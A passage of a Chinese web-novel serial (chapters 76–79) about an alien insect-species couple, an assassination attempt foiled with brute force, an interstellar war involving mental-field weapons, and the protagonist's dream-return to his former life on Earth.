赫尔辛斯着迷地望着他的侧脸,后知后觉这句话浓厚柔软的情感。 他放轻声音:“请您等我,我一定会尽快回来。” 索涅笑起来,眉眼变得很慵懒温柔。 “我收到你的礼物了,我很喜欢,”他的声音像含着蜜糖,“赫尔辛斯上将,主星已经在准备萨尔纳斯节,到处都粉嫩甜蜜,我等你回来和我约会。” 赫尔辛斯耳上浮起一抹红晕,他喜欢约会的事终究还是被雄虫发现了吗?—— 作者有话说:感谢小宝推荐,啵啵啵啵[亲亲]加更Go起! 下本预计开小甜文《校园男主为何这样》 钓系美人攻&纯情爷们儿受[狗头叼玫瑰] 第76章 袭击 机甲带着轰鸣声降落在训练场,不…… 机甲带着轰鸣声降落在训练场, 不同于北部圣山的寒冷,南部军区仍旧绿草如茵。 “长官,那些俘虏——” “全部交给最高法。”金发军雌匆匆丢下一句话, 背影已经消失在廊桥尽头。 “长官真着急啊……”蒙利喃喃道。 “上将的雄主就等在外面, 已经等了两个多小时了, 你说他为什么着急。”他同僚闻言摇了摇头, “真羡慕上将, 索涅殿下这么好的雄虫是他一只虫的。” “上将也很优秀, ”蒙利强调,“所以索涅圣子才这么喜欢上将。” “行行行,你偶像最厉害行了吧。”同僚懒得跟他争论, 转而好奇他们的行动, “那些星盗就免费送给最高法?好名声就这么让他们挣了?” “上将剿灭星盗的事已经全网皆知, 名声咱们挣走大半儿,剩下的鸡毛蒜皮就让最高法头疼去吧。”蒙利说。 “听说那星盗里还有雄虫?” “假的, 都是星网的谣言……” 赫尔辛斯快步走过转角,与一直盯着这边的雄虫正好四目相对。 他心脏鼓动着,走出大门的瞬间就被雄虫紧紧抱住。 思念的话语收回口中,他闭上眼,将下颌抵在雄虫肩头。 他们无视周围虫子的视线, 依偎在一起平复着汹涌的心绪。 “赫尔辛斯……”索涅缓缓放开他,忍不住用指尖摩挲着雌虫的脸颊。 他的皮肤温热而柔软,苍金色眼眸轻轻弯起,歪头蹭在他手心。 ——这真的是他的雌虫, 赫尔辛斯回来了。 虫虫将脸颊放在他掌心,依恋地用手托住他的手,似乎在汲取他的温度。 索涅忍不住凑上去亲了他一口。 “你瘦了。”他捏了捏虫虫的脸颊肉。 “没有您瘦得厉害。”赫尔辛斯握紧他的手, 摸到他手腕上凸起的骨节便皱起眉。 “您果然没有好好照顾自己。” 他们并肩牵着手,沿着风光美妙的透明廊桥,散着步走回办公室。 “我可没有对你撒谎,”索涅说,“我也没饿着自己,和雌父雄父住在一起,他们盯着我呢。” 赫尔辛斯敏锐感受到变化:“您称呼他们……” 雄虫扬起唇看着他:“总要接受不是吗?他们对我很好,只是……” 我不是他们的虫崽。 雌虫似乎察觉到什么,默默地研究起他们交握的手掌,假装没听到索涅话中的犹疑。 见他这样,索涅反而确定了一件事。 雌虫垂下的眼睫长而翘,像小扇子一样盖住那双漂亮的眼睛,半边面具覆盖住左脸尚还明显的疤痕,却又给他添了一丝神秘禁忌感。 索涅光看着雌虫,心里就止不住地冒小甜泡泡。 进了办公室,他赖在雌虫身上,搂着雌虫的腰尽情地黏糊,冷硬的军服都被他焐热了。 他伸手掀开雌虫的衣领,手指崩开几颗纽扣,埋头进去轻轻咬了一口。 雌虫有些站不稳,踉跄着坐在沙发上。 “您想在这里……”雌虫轻喘着气。 “……不,等你回家我们再做。”索涅埋在他胸口不动了,躁动的精神力和信息素被控制着慢慢平复。 赫尔辛斯仰躺在沙发上,半睁着眼看着灯光弥漫的晕圈。他悄悄地耸动鼻尖,嗅闻着雄虫醇香的信息素。 早已想念到发疯。 然而他的雄主很正派,不肯和他在办公室生蛋。 尽管已经傍晚,赫尔辛斯还有很多会议要开,索涅又跟着他辗转到军区总部会议中心。他在休息区等待着,慢慢地有些昏昏欲睡。 正当他闭眼小憩时,精神力捕捉到一丝异动。 索涅睁开眼,目光冷漠地静候着身后鬼鬼祟祟的东西。 当对方摸到他背后沙发时,他反手抓住对方的脖子狠狠甩出,一道黑影嘭的一声撞到对面墙上,痛苦地呻吟着,一时半会爬不起来。 “谁派你来的。”索涅缓缓起身,掐住这只虫子的脖子把他拎起来。 虫子咳出一口血,疯狂地挣扎起来,索涅轻嗤一声,将他的头狠狠地砸在墙上。 墙上出现一个鲜红的血印。 一阵清脆的响声。 尖锐的针头掉落在地上,虫子惊恐地看着索涅把它缓缓拾起。 黑发雄虫歪头看了看闪着寒光的针头,突然一笑。 “谢谢。” 还想抢夺针管的虫子被再次砸进墙里,鲜血迸溅而出落在墙壁上,缓慢地流出狰狞的轨迹。颜色靓丽的合金墙面凹进一个深坑。 索涅后退几步,双手环起,观察着这只雌虫。 穿着第一军的军装,但他没见过。 “殿下!!!” 守卫们被拦在会议室区域之外,听到动静慌忙赶过来,看到索涅额头身上的血迹时吓得肝胆俱裂。 “殿下您没——” “闭嘴。”索涅皱眉。 守卫和军雌霎时止住高亢的声音。 “殿下……”他们小心翼翼靠过来,发现索涅身上虽然有血迹,却毫发无伤。 视线向下,一只军雌正奄奄一息,整张脸都被鲜血糊满,模样狰狞得像个恶鬼。 再转头,总部大楼的墙已经战损。 “……” 是否该庆幸外层墙体只是一层装饰物,不然凹进去恐怕就不是墙,而是这只虫的脑瓜子。 索涅殿下也太凶残了,活像什么凶杀现场。 有虫注意到索涅手里那支针剂,瞬间头皮发麻。 索涅圣子在军区总部大楼内被刺杀,这个消息一定会让军部被骂成筛子…… 索涅轻闭双眼,精神丝霎时涌出,犹如蛛网般迅速覆盖整个大楼,沿着楼梯攀援而上,能量波无声地蔓延,抓捕着其中的异动。 “该死!怎么回事!” “谁在军区这么嚣张!” S级雄虫的精神丝全部探出,且目的不善,其中压迫性的磁场刺激得所有军雌竖起尖刺,带着武器迅速地向能量波的来源靠拢,正在会议中的高级雌虫们同样感受到这股强大的精神波,赫尔辛斯瞬间面色一变冲出会议室。 “雄主!” 索涅回头看到他,竟然笑起来,苍白的额头溅了几丝鲜红的血迹,诡艳至极。 “抱着我,朝那边飞!”他没时间和赫尔辛斯解释,抓住雌虫的双手放在自己腰侧。 看着他身上的鲜血和那边倒地的军雌,赫尔辛斯的手有些发抖。 但他没有耽搁一秒,巨大的骨翼瞬间在背后伸展,一阵旋风卷起,带着怀中雄虫三秒内飞出错综复杂的大楼,朝着雄虫所指的方向,眨眼间不见踪影。 急忙出来查看情况的虫子们:“……”赫尔辛斯这是带着圣子肇事逃逸了吗? “怎么回事!”卡特斯抓住一只军雌急声问。 “有虫行刺圣子,被圣子打得不知死活……”军雌小心地说,“我只看到这些。” 众虫看向那只浑身鲜血的军雌,不禁露出意味深长的神情。 第一军的啊…… 赫尔辛斯将雄虫紧紧地抱在怀里,期望能挡住一些高空寒风。雄虫的尾巴在他腰间缠绕一圈,尾钩轻轻地勾着他的腰带。 索涅闭着眼:“东15度,369米,A级雌虫。” 赫尔辛斯已经猜到雄主在做什么,不由目光狠戾,骨翼在空中用力拍打,很快看到远处刚出军区的雌虫。 那只雌虫察觉到他们靠近,面色大变,同样伸展骨翼试图逃窜。 索涅冷冷地勾起唇,精神丝毫不留情地碾压过去。 S级雌虫或许能和他对碰几轮,但A级…… 那只雌虫还没飞多远,便在精神力的压迫下感统失调,胡乱撞击在建筑上。 他惊恐地拍打骨翼,却感到一阵疾风扇在他头顶。 他抬头的瞬间被一脚狠狠踢飞出去,接连撞断四盏路灯,口喷鲜血倒在地上抽搐不已。 “往哪儿逃?”地狱阎罗般的声音在他头顶响起。 雌虫绝望地吐出几口鲜血,里面还有脏器碎片和几颗牙齿。 几十只虫子远远地围观着,认出到底是谁后兴奋地举起手环录视频。 赫尔辛斯眼神一冷,却被雄虫伸手按住,他瞬间意会地收起骨翼,将场面三百六十度无死角显露出来。 索涅伸手拨开他的衣袖暗袋,取出两支眼熟的针剂。 他顿时玩味地挑起眉:“太蠢了,同样的方法打算用几次?” “你……你该死!”雌虫露出憎恨的目光,用力过大又喷出一口血。 “啧啧啧,替主子办事而已,这么入戏?”索涅难以理解,他从自家虫虫口袋里抽出一块丝帕,缓缓地擦掉脸上血迹。 “害得我这么狼狈……”索涅刚要一手提起这家伙,被他家雌君拦住。 “别脏了您的手。”赫尔辛斯叫来几只军雌把地上的家伙押走。 他又拿出一块手帕,替索涅擦净眉峰处一点遗留的血迹,沉默异常。 索涅好好地松了一番筋骨,见雌虫这副表情不禁干笑一声:“我没受伤……” “我知道。”赫尔辛斯心中轻叹。 他这才露出点情绪,嘴唇颤抖着,缓缓地闭上眼,将额头抵在雄虫肩窝。 索涅拍了拍他的背,轻声说:“我没事,你看,我把他们揍得多惨。” “我应该劝您早点回去……”雌虫的声音很轻,咬着牙关。 索涅感到肩膀衣服湿了一块,心中立刻有些慌:“我真的没事……” 他好不容易哄好自己的雌君,回到军区总部就发现那半死不活的刺客还躺在那里,一群军雌围着案发现场不知所措。 他们觉得有必要等索涅回来再发落。 军雌们已经得到又抓住一只刺客的消息,见到他们回来,一些虫顿时目光闪烁。 “索涅殿下,”一只军雌震惊地出声,“您抓到的第二只刺客也是第一军的军雌吗?” 索涅没有理会。 卡特斯见他们回来,便上前将那只雌虫翻过来,仔细地研究了一会儿血迹下的五官,松了一口气:“他不是第一军,应该是冒充的。” “卡特斯上将认识你们第一军所有军雌?”一只雌虫质疑道。 “他的衣服属于一只刚在前线战死的军雌。”卡特斯冷漠地说道。 索涅扬起左手,手中是三支针剂,目光冷淡:“与其争论到底是哪个军的责任,不如先把他关进监狱好好审问。” “是,圣子殿下,这件事我们一定会给您一个交代,”卡特斯说道,“您手上那些针剂就是他们的凶器?” 他心中不断推测,能对雄虫造成巨大伤害的毒剂很多,按照这支针剂的用量,恐怕是最难以救治那几种之一。 “贸然使用精神力,我事后会发致歉公函。不过军部也需要好好查查今天的安保队,我需要一个详细的答复,”索涅环视一圈,“会议结束了?” “已经基本商讨完毕。”赫尔辛斯说。 卡特斯张张嘴。其实还有最后的报告呢长官。 但他还是把嘴闭上了。 “那我们回去吧。”索涅看着虫虫,眉眼顿时温和下来。 “等等,赫尔辛斯上将,今天只有你的支队是从星舰直接回到军区,你不该解释解释?”某高级军雌开口道。 “他不用解释。”索涅看了那只虫一眼,不出所料,第二军。 法门也在现场,不过像个不会说话的木头桩子似的站在那里,索涅和赫尔辛斯都没有给他多少注意。 “我随时恭候法庭传唤,但你没有质疑我的权力。”赫尔辛斯这时候不想过多废话。 他们离开,地上的雌虫被套上锁环押走,连血迹也被迅速清理干净。 只有墙上那个触目惊心的凹坑,彰显着这里刚刚发生的压制性战斗。 等到调出监控记录,所有虫不禁倒吸一口凉气。 这只虫浑身的精神力应该都收得很紧,可离索涅殿下还有十多米的时候,殿下就睁开眼守株待兔,在刺客送到手边后毫不犹豫一招击溃对手所有防线,接下来完全是对垂死挣扎之徒的暴力压制。 这敏锐度,这力量级,都已经十分难得,制服刺客后也没有志得意满,精神丝铺天盖地地毯式搜索,不出十分钟再次抓住第二个刺客,三支重要证物全部到手。 太流畅了。 像演出来的一样,剧本都不敢写这么逆天。 并且他们很快就知道,这件事已经在星网爆炸似的火起来,各种声讨评论半小时内直接井喷。不光是索涅的支持者在声讨军部,艾浮和西沙的支持者反而跳得最凶,生怕他们最爱的雄虫也被干掉。 平心而论,他们不觉得艾浮圣子和西沙圣子能在这种袭击中活下来。唯一的指望就是那些守卫,可是守卫是不能进军部会议区的…… [不去会议区不就好了,我们殿下可不找死] [蠢货,要是不在会议区只会死得更快,那么多军雌和武器的地方刺客都敢去,那几个守卫顶个屁用!] 索涅本来今晚要和雌虫约会,但刚上飞行舰就被雌虫上上下下各种检查,那手指玩火似的到处乱摸,成功给他勾出一身邪火。 “我没事……”索涅抓住虫虫漂亮的爪子,放在唇边亲了亲。 虫虫俯身趴在他怀里,聆听着他的心跳。 “我不应该任性,让您留下来陪我……”赫尔辛斯闭上眼。 要不是他,雄虫这会儿已经在德洛伊宫的卧室里,根本不会遇到刺客。 “他们能混进会议中心,已经准备了很久,早晚会出手。”索涅亲亲他的额头,安抚道。 “你可没说过让我陪你的话,我舍不得你,像个跟屁虫一样粘着你,才出了这事。”索涅说道。 他伸出精神丝,将雌虫凌乱的精神域梳理整齐,他发现这些不是死结,只是雌虫被他这事吓得精神丝混乱而已。 “那个针剂你有头绪吗。”索涅对这些不太懂。 赫尔辛斯回忆着说:“针管是最小规制,他们冒着和第三军结仇的风险,不可能用普通毒药,看颜色和状态……最有可能是α-BY和α-BY07,这两种都是针对精神壁的衰竭性剧毒物质。” 索涅将他的发扣取下,梳理好微乱的发丝后又重新扎好。 “有什么作用?”他没听过这些名字。 “这些都是黑科学实验室的产品,曾经用在战场上,很快被星际法叫停,是几乎所有种族和联盟国的违禁品,一旦进入血液,会很快侵蚀域壁导致精神丝逸散,最终的结果是等级不断降低,直到精神域枯竭而死。” “目前,没有任何缓解和救治方法。”雌虫颤了一下。 索涅安抚地吻他的发丝:“我没事……” 赫尔辛斯闭上眼,在心中不断回忆着可能购买到这种毒药的地方。 星盗。 已经被他剿灭。 但留下来的活口可不少。 “他们这次挺下得去本,要是别的雄虫,现在已经无药可救等死了。”索涅轻啧一声,这死法也够痛苦。 “安保工作是第三军,你觉得最有可能谁?西沙?”索涅问。 赫尔辛斯摇头:“艾浮,或者艾浮撺掇西沙。” “西沙愚蠢贪婪但胆小,艾浮则又蠢又毒,什么都敢做。” 他顿了一下,“曾经我的那件事……应该就是艾浮撺掇西沙干的。” 他的评价把索涅听笑了:“那我呢,在你眼里我是什么样的?” 雌虫抬头认真地看了他一会儿,说道:“您很美。” 索涅:“……” 第77章 战乱再起 赫尔辛斯带回的俘虏和当天的…… 赫尔辛斯带回的俘虏和当天的刺客尚未审出结果, 一则紧急通讯如同一块巨石轰然砸出,将本就暗流汹涌的湖水搅得愈发浑浊。 索涅日常上课,偶尔有些空闲时间, 就陪着赫尔辛斯在南部军区处理后续事宜。 某个宁静的中午, 安莫因的通讯直接接入赫尔辛斯的办公室, 光屏霎时被一个红色惊叹号全部占据。 赫尔辛斯心中预感不好, 立即接通。 安莫因的半身像浮现于空中, 脸色凝重。 “出事了。”他开门见山。 “你们在一起正好, 消息还没传开,得想出个应对办法,”安莫因语速极快, “刚接到羽族边境驻军的紧急通报, 羽族突然被安斯族包围, 情况危急,他们在求助我们。” “羽族?”赫尔辛斯眉峰蹙起, “他们上个月才接收了我们最新一批重型粒子炮,应该有一战之力,况且安斯族怎么会突然对羽族感兴趣。” “安斯族和羽族只有一小片接壤,完全没有虫洞穿梭的条件,也就是说海族也和我们为敌了?”索涅神情凝重地问。 安莫因肯定了这个沉重的猜想。 海族是一群海陆两栖智慧生命, 种族规模是羽族的四五倍,他们对宜居星的定义和其他种族大不相同,所以和身周最弱小的羽族也能相安无事。 “问题不在武器够不够,而在他们根本没怎么用上那些机甲星舰。”安莫因调出一段经过处理的模糊影像。 “羽族母星和所有宜居星在七十二小时内陆续失联。我们的边境驻军发现羽族星域外围的磁流网被一种未知能量场完全屏蔽, 内部通讯中断。羽族首领集中火力攻击一角,能量波才勉强冲破封锁,把情报送到了边境军部。” 影像稳定了一些, 显示出羽族城市的模糊画面。整个星球因为磁场失控,笼罩在一片不祥的暗紫色光晕中。大量羽族雌性倒在街道或广场上昏迷不醒,正被紧急救治。 天空中不时有穿着制服的羽族飞过,组织力量安抚民众,却显得那么苍白无力。 “羽族大部分雌性在同一时间精神力失控陷入昏迷。雄性受影响比较小,但也出现了精神力不受控制的迹象。他们怀疑是遭到了大规模精神类武器的袭击。” 安莫因的声音带着冷意,“他们和我们的驻军里应外合,发现安斯族星舰隐匿在星域外围。” 精神类武器……这个消息让索涅和赫尔辛斯心头发沉。 “安斯族后续有什么行动?只攻击精神域,没有攻击羽族星球?”赫尔辛斯出声。 “他们估计在观望,在等我们出手。”安莫因点头,“还是你了解安斯族。” 索涅则是皱眉问:“羽族雌性现在情况怎么样,症状和雌虫完全一样吗?” “看起来差异不大,不过不排除他们武器进阶的可能,”安莫因不由思索,随即无奈,“情报内容不多,驻军现在也和羽族再次失联。” “羽族那边的装备能搭起一道防线,不过预计只能抵挡安斯族的第一波进攻。但我在安斯族的探子说那边有异动,集结的军队规模不像是只为攻打羽族。羽族撑不了多久,他们希望我们能出手帮助。” 办公室内陷入短暂的沉默。 安斯族与虫族缠斗数千年,虽然谈判决定长久休战无数次,但不出十年必定再次挑衅,可这次未免来得过于迅速。 这次对羽族的行动就是在往联盟脸上扇巴掌,目的昭然若揭。逼着虫族插手外族战争,他们就能打一场不败之战,即便战场失败,谈判场上也能靠着星际法捞一笔巨额赔偿。 果然如他们所料,羽族求救的消息不知通过什么渠道被散播出去,在联盟内部不胫而走,迅速在星网上炸开了锅。 [才刚消停几天,安斯族又跳出来了?这次是拿羽族开刀?] [我看羽族就是炮灰,不过听说羽族奴隶在安斯族内部很值钱] [我们刚和安斯族休战没多久,他们这就按捺不住了,会不会是误会?] [羽族雌性大规模昏迷,磁流网被屏蔽,安斯族舰队规模那么大,难道是为了模仿星盗?这还能是误会,脑子被驴踢了?!] [就算是安斯族干的,那也是他们和羽族的恩怨,我们凭什么要帮他们,刚打完星盗,军队不需要休整吗?为了一个贸易伙伴卷入这种规模的战争很不值得] [楼上的是不是蠢?!安斯族分明是在试探我们的底线,羽族是我们的友族,如果羽族被灭,我们能安生多久,五天?还是十天?] [安斯族直接跳到你家门口,把你这颗猪脑揉成粉敷脸] [安斯族这就是在逼我们出手,想找个借口再次开战,如果我们这次退缩了,以后宇宙种族谁会看得起我们虫族,谁还敢和我们结盟贸易?] [要是没和羽族结盟就好了] [猪脑!虫屎!我*你……] 舆论两极分化,争吵不休骂战不断。 主和派认为休战期不宜再起战端,安斯族目标未必是虫族,援助羽族就是自找麻烦。 主战派则嗅到了阴谋和危机的味道。他们认为安斯族的目的根本不是羽族,联盟如果袖手旁观,后果不仅是威信扫地那么简单。 这种争论不仅存在于星网,贵族高官也有不少虫偏安一隅心存侥幸。 会议中心紧急召开的商讨会同样隐隐分为两派。 “安莫因委员长,赫尔辛斯上将,我认为此事需要慎重。”一位资历颇老的,从军部转文职多年的雌虫议员谨慎开口。 “安斯族与羽族的冲突起因不明,就凭那模糊不清的录像能证明什么?我们贸然介入,很可能被拖入战争泥潭。更何况我们刚经历了内部清理,军力和财力都需要时间恢复。” 一位军部将领立刻反驳:“安斯族使用的武器明显是之前对我们使用过的针对精神域的大规模杀伤性武器。这次是羽族,我敢肯定下一个就是我们!” “你这是揣测。”对方反驳道。 “而且军队去了又怎样,安斯族的精神武器,我们谁抵挡得住?还不是送死。”老议员格外悲观。 “……”众虫却下意识看向中间静默不语的那几位。 安莫因心间叹了口气,看向一直沉默的赫尔辛斯:“赫尔辛斯,你的意见?” 所有虫的目光都集中到金发雌虫身上,都曾怀疑他地位不如以往,但现在敌族来犯,又下意识将希望寄托在他身上。 赫尔辛斯抬起眼,苍金色的眼眸中没有任何犹豫,只有冰冷平静:“安斯族的目的很清楚,他们攻击羽族,一可能是测试武器,二是撼动我们和小种族的关系,三就是逼我们出手。” “如果我们不出兵,他们可以轻松吞并羽族,威信大涨,同时向全宇宙展示我们的怯战。不用真的交锋战争,就能证明他们实力已超过我们。” “我们从未面临与安斯族战斗的大失败,联盟舆论必定惶惶。届时我们失去的不仅是盟友,更是整个种族的尊严和安全。” 他环视一圈:“这一战避无可避,不过是早晚的问题。” 索涅听着赫尔辛斯的分析,却渐渐目光虚无,想起曾看过的一些零散剧情。 如果他没记错,安斯族的新型武器要几年后才会研制出来,那时候虫族仍旧没有应对方法,内部三位圣子争权夺利,党派之争严重,又出了内鬼,战场上节节败退。 现在那种武器,究竟是不是剧情里的终极武器? 游戏剧情里,安斯族现在就研制完毕却几年后才用,他们有那么大耐性吗? 索涅思索着。 他想到什么,目光一凛。 他记得游戏时,安斯族曾经经历过一次政变,某个皇子成功上位成为新王,导致他们追随旧王的玩家被打压。难道是……休伊斯? 他的蝴蝶翅膀扇得休伊斯放弃了争夺王位?进而影响了安斯族的策略? 还是说在游戏剧情里虫族并未应战? 会议焦灼了很久,最终还是通过了出兵决议。以第三军为主力,联合部分第一第二军精锐,即日开赴边境援助友族。 消息传出,主战派欢欣鼓舞,主和派虽仍有疑虑,但在大势面前也暂时保持了沉默。整个联盟军部高速运转,氛围严肃到有些沉重。 星网上很多虫不能理解,为什么不让曾打败过安斯族的赫尔辛斯上将担任指挥官? 第三军出征前夜,德洛伊宫的卧室里。 索涅从背后抱住正在逗弄小崽子的赫尔辛斯,脸颊贴在雌虫温热的脖颈上,闷闷地说:“这次比剿灭星盗可危险多了。” 赫尔辛斯拍拍小家伙,转身就被索涅紧紧抱住。感受到雄虫不安的心绪,他低声道:“我必须去。” “我明白。”索涅抬起头,眼眶发红。 赫尔辛斯捧起雄虫的脸:“我会尽快回来,我向您保证。” “你的保证上次就没完全兑现,”索涅小声抱怨,指尖划过雌虫左半边脸的疤痕,“时间不重要,不许受伤,保护好自己。” “是,我的殿下。”赫尔辛斯眼中泛起一丝温柔的笑意。 索涅心里还是很不安,但他阻止不了赫尔辛斯,也不能阻止。 他拼命地挖着自己的记忆,然而什么都想不起来。 索涅无比后悔当初为什么不多看点剧情。 第78章 回忆 刚热闹没几天的德洛伊宫再次…… 刚热闹没几天的德洛伊宫再次变得空荡荡, 索涅站在窗边看着雪景,不知第几次拿出手环查看赫尔辛斯有没有给他发消息。 聊天记录还停留在五天之前。 胸腔里的空气无比沉重,压迫着他的咽喉。 “雄父……敷敷!”书房门打开一道缝儿, 小崽子挤了进来。 索涅收起情绪, 把小虫崽抱起。 小崽子趴在他怀里, 暗金色大眼睛好奇地四处看, 嘴里含糊念叨:“敷敷, 敷敷……” 他头上又短又软的胎毛已经褪去, 被浓密的金色发茬替代,小骨翼已经可以收回背后翼腔。 “想雌父了?”索涅问小崽子。 小崽子点点脑瓜。 “雌父要过段时间才会回来,雄父先陪科尔玩好不好?” 小崽子嘴巴一瘪, 那双酷似赫尔辛斯的眼睛里委屈巴巴。 索涅陪着小崽子玩了一会儿, 科尔便被侍者带去睡觉。他处理了一会儿公务, 侧头看着外面的冰天雪地,感受到一股从心底溢出的寂寥, 夹杂着浓重的不安。 他玩游戏时对游戏本身并不十分沉浸,只拣自己感兴趣的部分上心,这几天把能想起来的所有剧情细节都记录下来,翻找记忆角落弄得他头昏脑涨,额角一直隐隐作痛。 索涅再次取出那个笔记本, 半晌后他给恩修发了一条消息。 下午三点,恩修坐着飞行舰抵达德洛伊宫。 “其他地方不太安全,麻烦你跑这么远。”侍者上了热茶后离开,索涅将笔记本递给恩修。 “害, 跟我客气这些干什么。”恩修的日子看起来过得很滋润,翻开笔记本看了一会儿,轻松的表情逐渐消失, 眉头蹙在一起。 “你写的这些都是安斯族的剧情,我只知道安斯族统治虫族后会对我那个斯利文族开战。”恩修说道,“我们两个都不是虫族玩家,怎么偏偏穿越到虫族。” “我不太关注剧情,能想起来的只有这些,根本帮不上忙。”索涅有些疲惫地靠在椅子上。 “安斯族的武器,执政官那边有什么头绪?”恩修问道。 高科技的东西,所有虫第一时间都想到费伦斯。 “费伦斯最近被各方逼得很紧,我没有问他。”索涅说。 恩修沉默。 难道所有希望都要压在赫尔辛斯身上?上次在赫尔辛斯那儿吃过亏,安斯族不可能头铁到明知会失败还要贸然开战,他们一定是有备而来。 道理谁都知道,但还是只能勉力一试。 恩修走后索涅实在头痛难忍,回到卧室打算休息一会儿,十几分钟后便又转醒,身体仍旧有一股挥之不去的疲惫感。 他照旧打开手环查看消息,目光扫过旁边日期,瞳孔骤然缩紧,不可置信地狠狠揉了一把眼睛。 怎么会这样? 难道他又穿越了? ……意识里是十几分钟,但他已经睡了整整二十四个小时! 就算再累再困这也不正常! 索涅连忙联系费伦斯,当天就赶到研究院做了一个全面检查。 “没有任何问题。”费伦斯拿着报告皱起眉。 “但我确实睡了二十四小时,现在还是很累,”索涅清晰地感觉到身体里那股疲惫感,“而且睡了这么久,我一点饥饿感也没有。” 费伦斯又埋头研究了很久,让他进几个仪器反复检查。 索涅的心提在喉咙口,却不敢打断费伦斯的思考。 他打了个哈欠,用指节狠狠地揉了揉太阳穴。 费伦斯注意到这一幕:“你头疼吗?” “有一点,断断续续的,不过精神丝很正常。”索涅说,“我最近在回想一些事情,可能跟这个有关。” 费伦斯目光一闪,眼中思绪不着痕迹地划过。 “你希望想起什么?” 索涅平淡地说:“小时候的一些事。” “S级雄虫对身体的感知力很强,你觉得是探寻记忆对你的身体造成了影响,那就八九不离十了。”费伦斯说道,“别勉强自己。” 索涅来去匆忙,回到德洛伊宫发现小崽子到处找不到他,已经急得冒眼泪花,他连忙跟虫崽崽道歉。 虫崽被他哄睡着,躺在大沙发上四仰八叉,索涅不禁失笑。小崽子的情绪来得快去得也快。 他在一旁伏案工作,渐渐地又感觉到浑身疲惫感仿佛从骨头缝里溢出来,按着他的头让他睡觉。 索涅勉强支撑着,将睡着的虫崽交给侍者,躺在床上的瞬间眼前一黑,意识迅速抽离身体,进入一个神秘的空间。 他的潜意识仿佛对这里很熟悉,知道怎样走出这漫无边际的白雾。 刚才的疲惫全部消失不见,他仿佛一朵轻飘飘的云,每踏出一步,犹如飓风吹过千万里。 明明周围是一片无形无色的空白,索涅却感觉周围光景变幻,自己已经走过很远的距离。 他慢慢地,一步一步朝前走着。 浓厚的白逐渐变得稀薄,索涅努力睁大眼睛,试图看清前方渐渐明朗的目的地,却总是雾里看花,让他渐渐恼火。 不知道走了多久,某一步踏出时,白雾犹如潮水般散去,那一片明暗交界的世界映入眼帘。 索涅呆愣地站在原地,看着这熟悉却已经陌生的室内布局。 他的住处。 他在地球的家。 他……回来了? 索涅扭头看自己的屁股,发现上面有一根黑不溜秋的尾巴。 正当他不知所措时,房门传来一阵开锁声,一个穿着大衣的高个男人提着肉夹馍走进来。 这一幕格外荒诞。 他是他,这个男人也是他。 然而“索涅”似乎没看到索涅,自顾自换好拖鞋脱下大衣,把肉夹馍拿进书房。 索涅对此太熟悉了。 果然,“索涅”很快打开电脑桌面上某个粉紫色图标。 “朋友们晚上好啊……”“索涅”一边啃着肉夹馍一边单手操作,很快过完了一个小战斗。 索涅悄无声息地站在他背后,紧紧地盯着电脑屏幕。 安斯族……很快到安斯族的剧情了…… 在剧情出来的一瞬间,“索涅”手速飞快地点击跳过。 下一秒又进入纯战斗界面。 索涅:“……” 他恨啊! —— 种族边界,一般都是些食之无味弃之可惜的枯竭星系或原始星系,只有驻军星球遗世独立生命旺盛。 羽族被困的消息也已经在边境星传开,作为全民武装的星球,舆论并没有宜居星那么爆炸,虫子们静静等待着主星的决定。 近半个月过去,主星的军队终于抵达边境星,居民们更加士气高涨,军部五位上将亲自迎接,详细地汇报了一遍目前所有情报。 科亚很快下令攻击舰挺进羽族星域,攻击舰和安斯族第一轮浅浅交锋,传输回来的数据仍旧不够明确,不能确定安斯族的武器究竟有没有进化。 他和副官站在光屏前,身后是第一军和第二军的副指挥。 “长官,我提议派军雌去尝试。”科亚的副官说道。 说是去尝试,很有可能是去送死。 他们都知道这提议不错,甚至可以说很好,但派谁去呢? “这件事刻不容缓,我自愿请缨。”副官再次出声。 科亚目光复杂,转向后面的虫们:“你们有意见吗?” “只派一只是不是太少了,数据也不够精确。”某军雌说道。 “我先去试探一次,如果结果仍旧不理想,后续再派。”希塞尔说。 科亚环视一圈:“既然你们都没有意见,那么,希塞尔上校,我们等你带来好消息。” 希塞尔颔首行礼,转身大步走出指挥室。 虫子们看着他的背影,莫名感觉这家伙要是安全回来,以后肯定成就不凡。 希塞尔驾驶重型机甲,八艘攻击舰八艘反磁舰辅助,后方还有十个重型方队随时待命。 他被攻击舰夹在中间,雨点般的射线冲他覆盖性扫射,AI控制的攻击舰都掉了两艘,他却毫发无伤迅速贴近安斯族据点。 一阵无形的波纹从隐匿的某个角落发出,穿透厚重的机甲,从希塞尔的身体中蛮横穿过。 他额头青筋暴起,浑身血管犹如被针尖划烂般刺痛至极。 联结着机甲精神丝躁动了一瞬,瞬间被他压制住。 他心中也不免惊讶,知道自己的精神力有些上涨,但没想到和之前差距这么大。 曾经他被精神攻击扫射,全部精神丝疯狂扰动瞬间暴乱,得益于意志的控制才勉强没晕过去。 这次虽然仍旧有些刺痛感,但已经比之前好了太多,他不过是心念一动,躁动的精神丝便全部服服帖帖。 希塞尔集中精神感受着精神丝的变化和对方精神攻击的特点,凝神将它们全部记下,经历两次攻击后迅速后退,带着剩余几十艘攻击舰全身而退。 除了精神类武器,安斯族的热武器并不比虫族高明多少。 返回星舰内部,希塞尔迈出驾驶室时还是仍不住感到一阵头晕。 安斯族的精神类武器对他并不是全无影响。 机甲上的参数很快被上传到研究室,希塞尔也被研究员轮番问候细节,他们想知道他为什么能抵抗攻击。 希塞尔走出研究室,科亚正等在外面。 “你早就知道你会没事?”对方问。 希塞尔面色冷淡,“我有把握。” 第79章 莫比乌斯的邀请函 一整天阴雨连绵…… 一整天阴雨连绵, “索涅”也没有出门,上午给自己煮了一碗泡面就窝在书房,边打游戏边直播, 打累了就时不时和观众聊聊天。 索涅有些焦躁, 现在到底是什么情况? 他以这种匪夷所思的方式来到地球, 而且还是过去的地球, 他该怎么回去?又到底还能不能回去? 他心中隐隐有所预感, 静静地等待着那一天的到来。 “索涅”打游戏时, 他就站在后面,紧紧地盯着电脑屏幕,试图观察到一点剧情的尾迹。 其他时候, 他就静静地坐在飘窗上, 看着外面熟悉的城市发呆。这是他生活了很久的地方, 也是他曾经打算扎根的地方。 但是现在看着自己安宁祥和的老家,他心里却只有一股焦躁不安。 他在虫族的身体究竟怎么样了, 他还能回去吗? 赫尔辛斯有没有给他发消息?万一被雌虫知道自己现在的状态,他会不会很着急?会不会影响他在战场上的状态? 还有他们的小虫崽崽。小崽崽很依恋他们,他如果在那边失去意识,侍者应该很快就会发现并封锁消息,把他的状况报告给费伦斯。 